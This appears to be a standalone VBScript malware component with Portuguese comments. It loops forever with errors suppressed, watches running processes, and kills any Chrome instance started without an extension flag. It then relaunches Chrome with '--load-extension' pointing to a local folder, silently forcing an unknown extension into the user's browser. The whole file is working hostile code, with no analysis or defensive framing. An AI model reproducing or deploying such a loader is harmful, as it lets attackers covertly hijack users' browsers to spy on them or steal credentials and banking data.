z1

On Error Resume next

'--load-extension  \ext-20190318

i = 0
Do While i = 0
	Dim processes, process, aPath, sh
	Set processes=GetObject("winmgmts:\\.\root\cimv2").ExecQuery("Select * from Win32_Process")
    WScript.Sleep(2)
	For Each  process In processes
		If (InStr(1,process.CommandLine,"chrom",1)) > 0 Then ' "chrom" some letter form "chrome.exe"
			If (InStr(1,process.CommandLine,"--load-extension=",1)) > 0 Then

				aPath = process.CommandLine
				' MyVar = MsgBox (aPath, 65, "Condicao Encontrada nao Faz Nada")
				Exit For
            Else
			    aPath = process.CommandLine
			    'MyVar = MsgBox (aPath, 65, "MsgBox Example")
				process.Terminate()

				WScript.Sleep(200)
				Set sh = CreateObject("WScript.Shell")
                'sh.Popup "App Path : "&aPath,2,"In_The_Name_Of_Allah"
                sh.exec aPath & " --load-extension=-version-"
	            WScript.Sleep(10000)
				Exit For
			End If
		End If
	 Next
Loop